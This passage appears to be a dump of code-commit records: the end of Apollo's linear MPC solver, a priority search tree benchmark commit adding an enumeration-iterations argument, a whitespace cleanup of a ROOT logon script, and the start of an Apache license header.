1) =\n matrix_lower;\n matrix_uu.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 1) =\n matrix_upper;\n matrix_qq.block(i * matrix_q.rows(), i * matrix_q.rows(), matrix_q.rows(),\n matrix_q.rows()) = matrix_q;\n matrix_rr.block(i * matrix_r.rows(), i * matrix_r.rows(), matrix_r.cols(),\n matrix_r.cols()) = matrix_r;\n }\n\n \/\/ Update matrix_m1, matrix_m2, convert MPC problem to QP problem done\n Matrix matrix_m1 = matrix_k.transpose() * matrix_qq * matrix_k + matrix_rr;\n Matrix matrix_m2 = matrix_k.transpose() * matrix_qq * (matrix_m - matrix_t);\n\n \/\/ Format in qp_solver\n \/**\n * * min_x : q(x) = 0.5 * x^T * Q * x + x^T c\n * * with respect to: A * x = b (equality constraint)\n * * C * x >= d (inequality constraint)\n * **\/\n\n \/\/ TODO(QiL) : change qp solver to box constraint or substitute QPOASES\n \/\/ Method 1: QPOASES\n Matrix matrix_inequality_constrain_ll =\n Matrix::Identity(matrix_ll.rows(), matrix_ll.rows());\n Matrix matrix_inequality_constrain_uu =\n Matrix::Identity(matrix_uu.rows(), matrix_uu.rows());\n Matrix matrix_inequality_constrain =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.rows());\n matrix_inequality_constrain << matrix_inequality_constrain_ll,\n -matrix_inequality_constrain_uu;\n Matrix matrix_inequality_boundary =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.cols());\n matrix_inequality_boundary << matrix_ll, -matrix_uu;\n Matrix matrix_equality_constrain =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.rows());\n Matrix matrix_equality_boundary =\n Matrix::Zero(matrix_ll.rows() + matrix_uu.rows(), matrix_ll.cols());\n\n std::unique_ptr<QpSolver> qp_solver(new ActiveSetQpSolver(\n matrix_m1, matrix_m2, matrix_inequality_constrain,\n matrix_inequality_boundary, matrix_equality_constrain,\n matrix_equality_boundary));\n auto result = qp_solver->Solve();\n if (!result) {\n AERROR << \"Linear MPC solver failed\";\n return false;\n }\n matrix_v = qp_solver->params();\n\n for (unsigned int i = 0; i < horizon; ++i) {\n (*control)[i] =\n matrix_v.block(i * (*control)[0].rows(), 0, (*control)[0].rows(), 1);\n }\n return true;\n}\n\n} \/\/ namespace math\n} \/\/ namespace common\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) 2011 - 2012 by \/\/\n\/\/ Simon Pratt \/\/\n\/\/ (All rights reserved) \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ FILE: test_pst.cpp \/\/\n\/\/ \/\/\n\/\/ MODULE: Priority Search Tree \/\/\n\/\/ \/\/\n\/\/ NOTES: None. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <iostream>\n#include <string>\n#include <time.h>\n#include <assert.h>\n#include \"PSTPoint.h\"\n#include \"InPlacePST.h\"\n#include \"array_utilities.h\"\n#include \"control_utilities.h\"\n\nusing namespace std;\nusing namespace PrioritySearchTree;\n\n\/\/ Dirty hack, but hey: it's c++!\nPSTPoint* vectorPointerToArray(vector<PSTPoint>* v) {\n return &(*v)[0];\n}\n\nint main(int argv, char** argc) {\n const int MAX_POINTS_DISPLAY = 16;\n bool QUIET_MODE = false;\n time_t before, after;\n int n, qi;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Seed the PRNG \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n srand( time(0) );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Ensure the user has entered required parameters, otherwise print \/\/\n \/\/ a helpful message. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(argv < 3) {\n cout << \"Usage: test_pst [number of points] [query iterations] [quiet]\"\n\t << endl;\n return 1;\n }\n \/\/ parse number of points\n n = atoi(argc[1]);\n \/\/ parse query iterations\n qi = atoi(argc[2]);\n \/\/ check for quiet mode\n if(argv > 3)\n QUIET_MODE = true;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Create Points \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << \"Creating \" << n << \" points...\" << flush;\n before = time(0);\n PSTPoint *points = new PSTPoint[n]; \/\/ allocate on the heap\n for(int i = 1; i < n; i++) {\n PSTPoint p(i,i); \/\/ allocate on the stack\n points[i] = p;\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n if(n <= MAX_POINTS_DISPLAY) {\n cout << \"Points: \";\n PSTArray::print(points,n);\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Build tree \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << \"Building tree...\" << flush;\n before = time(0);\n InPlacePST ippst(points,n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n delete points;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Check memory - quietly or manually \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(QUIET_MODE) {\n cout << \"Memory usage(%): \" << flush;\n \/\/ this next line is system-specific, but should work on any\n \/\/ reasonable unix compatible system. Procedure:\n \/\/ 1. Ask for detailed information on processes\n \/\/ 2. filter out all lines which don't have the name of the program\n \/\/ 3. filter out all lines which have the word grep\n \/\/ 4. filter out all lines which have the word \"ps \"\n \/\/ 5. print the 4th column (memory usage)\n assert(system(\"ps auxww | grep test_pst | grep -v grep | grep -v ps\\\\ | awk '{print $4}'\") == 0);\n } else {\n control_utilities::waitForAnyKey();\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print the structure if the number of points is small \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(n <= MAX_POINTS_DISPLAY) {\n cout << \"Tree: \" << endl;\n ippst.printTree();\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ leftMostNE \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n PSTPoint result;\n cout << qi << \" iterations of \";\n cout << \"leftMostNE...\" << flush;\n before = time(0);\n for(int i = 0; i < qi; i++)\n result = ippst.leftMostNE(rand() % n, rand() % n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ highestNE \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << qi << \" iterations of \";\n cout << \"highestNE...\" << flush;\n before = time(0);\n for(int i = 0; i < qi; i++)\n result = ippst.highestNE(rand() % n, rand() % n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ highest3Sided \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << qi << \" iterations of \";\n cout << \"highest3Sided...\" << flush;\n int xmin = 0, xmax = 0, ymin = 0;\n before = time(0);\n for(int i = 0; i < qi; i++) {\n xmin = rand() % n;\n xmax = xmin + (rand() % (n - xmin));\n ymin = rand() % n;\n result = ippst.highest3Sided(xmin,xmax,ymin);\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ enumerate3Sided \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n vector<PSTPoint>* results;\n cout << qi << \" iterations of \";\n cout << \"enumerate3Sided...\" << flush;\n before = time(0);\n for(int i = 0; i < qi; i++) {\n xmin = rand() % n;\n xmax = xmin + (rand() % (n - xmin));\n results = ippst.enumerate3Sided(xmin,xmax,rand() % n);\n delete results;\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n return 0;\n}\n<commit_msg>Now able to specify how many enumeration iterations<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) 2011 - 2012 by \/\/\n\/\/ Simon Pratt \/\/\n\/\/ (All rights reserved) \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ \/\/\n\/\/ FILE: test_pst.cpp \/\/\n\/\/ \/\/\n\/\/ MODULE: Priority Search Tree \/\/\n\/\/ \/\/\n\/\/ NOTES: None. \/\/\n\/\/ \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <iostream>\n#include <string>\n#include <time.h>\n#include <assert.h>\n#include \"PSTPoint.h\"\n#include \"InPlacePST.h\"\n#include \"array_utilities.h\"\n#include \"control_utilities.h\"\n\nusing namespace std;\nusing namespace PrioritySearchTree;\n\n\/\/ Dirty hack, but hey: it's c++!\nPSTPoint* vectorPointerToArray(vector<PSTPoint>* v) {\n return &(*v)[0];\n}\n\nint main(int argv, char** argc) {\n const int MAX_POINTS_DISPLAY = 16;\n bool QUIET_MODE = false;\n time_t before, after;\n int n, qi, ei;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Seed the PRNG \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n srand( time(0) );\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Ensure the user has entered required parameters, otherwise print \/\/\n \/\/ a helpful message. \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(argv < 3) {\n cout << \"Usage: test_pst [number of points] [query iterations] \"\n\t << \"[enumerate iterations] [quiet]\" << endl;\n return 1;\n }\n \/\/ parse number of points\n n = atoi(argc[1]);\n \/\/ parse query iterations\n qi = atoi(argc[2]);\n \/\/ parse enumerate iterations\n ei = atoi(argc[3]);\n \/\/ check for quiet mode\n if(argv > 4)\n QUIET_MODE = true;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Create Points \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << \"Creating \" << n << \" points...\" << flush;\n before = time(0);\n PSTPoint *points = new PSTPoint[n]; \/\/ allocate on the heap\n for(int i = 1; i < n; i++) {\n PSTPoint p(i,i); \/\/ allocate on the stack\n points[i] = p;\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n if(n <= MAX_POINTS_DISPLAY) {\n cout << \"Points: \";\n PSTArray::print(points,n);\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Build tree \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << \"Building tree...\" << flush;\n before = time(0);\n InPlacePST ippst(points,n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n delete points;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Check memory - quietly or manually \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(QUIET_MODE) {\n cout << \"Memory usage(%): \" << flush;\n \/\/ this next line is system-specific, but should work on any\n \/\/ reasonable unix compatible system. Procedure:\n \/\/ 1. Ask for detailed information on processes\n \/\/ 2. filter out all lines which don't have the name of the program\n \/\/ 3. filter out all lines which have the word grep\n \/\/ 4. filter out all lines which have the word \"ps \"\n \/\/ 5. print the 4th column (memory usage)\n assert(system(\"ps auxww | grep test_pst | grep -v grep | grep -v ps\\\\ | awk '{print $4}'\") == 0);\n } else {\n control_utilities::waitForAnyKey();\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print the structure if the number of points is small \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if(n <= MAX_POINTS_DISPLAY) {\n cout << \"Tree: \" << endl;\n ippst.printTree();\n }\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ leftMostNE \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n PSTPoint result;\n cout << qi << \" iterations of \";\n cout << \"leftMostNE...\" << flush;\n before = time(0);\n for(int i = 0; i < qi; i++)\n result = ippst.leftMostNE(rand() % n, rand() % n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ highestNE \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << qi << \" iterations of \";\n cout << \"highestNE...\" << flush;\n before = time(0);\n for(int i = 0; i < qi; i++)\n result = ippst.highestNE(rand() % n, rand() % n);\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ highest3Sided \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n cout << qi << \" iterations of \";\n cout << \"highest3Sided...\" << flush;\n int xmin = 0, xmax = 0, ymin = 0;\n before = time(0);\n for(int i = 0; i < qi; i++) {\n xmin = rand() % n;\n xmax = xmin + (rand() % (n - xmin));\n ymin = rand() % n;\n result = ippst.highest3Sided(xmin,xmax,ymin);\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ enumerate3Sided \/\/\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n vector<PSTPoint>* results;\n cout << ei << \" iterations of \";\n cout << \"enumerate3Sided...\" << flush;\n before = time(0);\n for(int i = 0; i < ei; i++) {\n xmin = rand() % n;\n xmax = xmin + (rand() % (n - xmin));\n results = ippst.enumerate3Sided(xmin,xmax,rand() % n);\n delete results;\n }\n after = time(0);\n cout << \"took: \" << (after - before) << endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>{\n\tcout << \"rootlogon.C for UCNSIM\" << endl;\n\tcout << \"-------------------------------------\" << endl;\n \tif ( gSystem->Load(\"libPhysics\") == 0 ) {\n cout << \"Successfully loaded libPhysics.so\" << endl;\n \t} \n\tif ( gSystem->Load(\"libGeom.so\") == 0 ) {\n cout << \"Successfully loaded libGeom.so\" << endl;\n \t} \n \tif ( gSystem->Load(\"libGeomPainter.so\") == 0 ) {\n cout << \"Successfully loaded libGeomPainter.so\" << endl;\n \t} \n \tif ( gSystem->Load(\"libTree.so\") == 0 ) {\n\t cout << \"Successfully loaded libTree.so\" << endl;\n\t}\n \tif ( gSystem->Load(\"libEG.so\") == 0 ) {\n\t cout << \"Successfully loaded libEG.so\" << endl;\n\t}\n\tif ( gSystem->Load(\"libMathCore.so\") == 0 ) {\n\t cout << \"Successfully loaded libMathCore.so\" << endl;\n\t}\n\tif ( gSystem->Load(\"libMathMore.so\") == 0 ) {\n\t cout << \"Successfully loaded libMathCore.so\" << endl;\n\t}\n\tTString ucnsim = gSystem->Getenv(\"UCN_DIR\");\n\tif ( ucnsim.Length() == 0 ) {\n\t\tcerr << \"-------------------------------------\" << endl;\n\t\tcerr << \"Warning: Failed to find env. variable UCNSIM\" << endl;\n\t\tcerr << \"-------------------------------------\" << endl;\n\t}\n\telse {\n\t\tTString ucnlib = ucnsim + \"\/lib\/libUCN.so\";\n\t\tcerr << ucnlib.Data() << endl;\n\t\tif ( gSystem->Load(ucnlib.Data()) == 0 ) {\n\t\t cout << \"Successfully loaded libUCN.so\" << endl;\n \t }\n\t}\n \n TString magdir = gSystem->Getenv(\"MAGDIR\");\n\tif ( magdir.Length() == 0 ) {\n\t\tcerr << \"-------------------------------------\" << endl;\n\t\tcerr << \"Warning: Failed to find env. variable MAGDIR\" << endl;\n\t\tcerr << \"-------------------------------------\" << endl;\n\t}\n\telse {\n\t\tTString maglib = magdir + \"\/lib\/libEDM.so\";\n\t\tcerr << maglib.Data() << endl;\n\t\tif ( gSystem->Load(maglib.Data()) == 0 ) {\n\t\t cout << \"Successfully loaded libEDM.so\" << endl;\n \t }\n }\n\tcout << \"-------------------------------------\" << endl;\n\tset_my_style();\n} \n<commit_msg>Cleaned up some garbage in rootlogon<commit_after>{\n cout << \"rootlogon.C for UCNSIM\" << endl;\n cout << \"-------------------------------------\" << endl;\n if ( gSystem->Load(\"libPhysics\") == 0 ) {\n cout << \"Successfully loaded libPhysics.so\" << endl;\n } \n if ( gSystem->Load(\"libGeom.so\") == 0 ) {\n cout << \"Successfully loaded libGeom.so\" << endl;\n } \n if ( gSystem->Load(\"libGeomPainter.so\") == 0 ) {\n cout << \"Successfully loaded libGeomPainter.so\" << endl;\n } \n if ( gSystem->Load(\"libTree.so\") == 0 ) {\n cout << \"Successfully loaded libTree.so\" << endl;\n }\n if ( gSystem->Load(\"libEG.so\") == 0 ) {\n cout << \"Successfully loaded libEG.so\" << endl;\n }\n if ( gSystem->Load(\"libMathCore.so\") == 0 ) {\n cout << \"Successfully loaded libMathCore.so\" << endl;\n }\n if ( gSystem->Load(\"libMathMore.so\") == 0 ) {\n cout << \"Successfully loaded libMathCore.so\" << endl;\n }\n TString ucnsim = gSystem->Getenv(\"UCN_DIR\");\n if ( ucnsim.Length() == 0 ) {\n cerr << \"-------------------------------------\" << endl;\n cerr << \"Warning: Failed to find env. variable UCNSIM\" << endl;\n cerr << \"-------------------------------------\" << endl;\n }\n else {\n TString ucnlib = ucnsim + \"\/lib\/libUCN.so\";\n cerr << ucnlib.Data() << endl;\n if ( gSystem->Load(ucnlib.Data()) == 0 ) {\n cout << \"Successfully loaded libUCN.so\" << endl;\n }\n }\n cout << \"-------------------------------------\" << endl;\n set_my_style();\n} \n<|endoftext|>"} {"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 2000 The Apache Software Foundation. All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in\n * the documentation and\/or other materials provided with the\n * distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n * if any, must include the following acknowledgment: \n * \"This product includes software developed by the\n * Apache Software Foundation (http:\/\/www.apache.org\/).\"\n * Alternately, this acknowledgment may appear in the software itself,\n * if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n * not be used to endorse or promote products derived from this\n * software without prior written permission. For written \n * permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n * nor 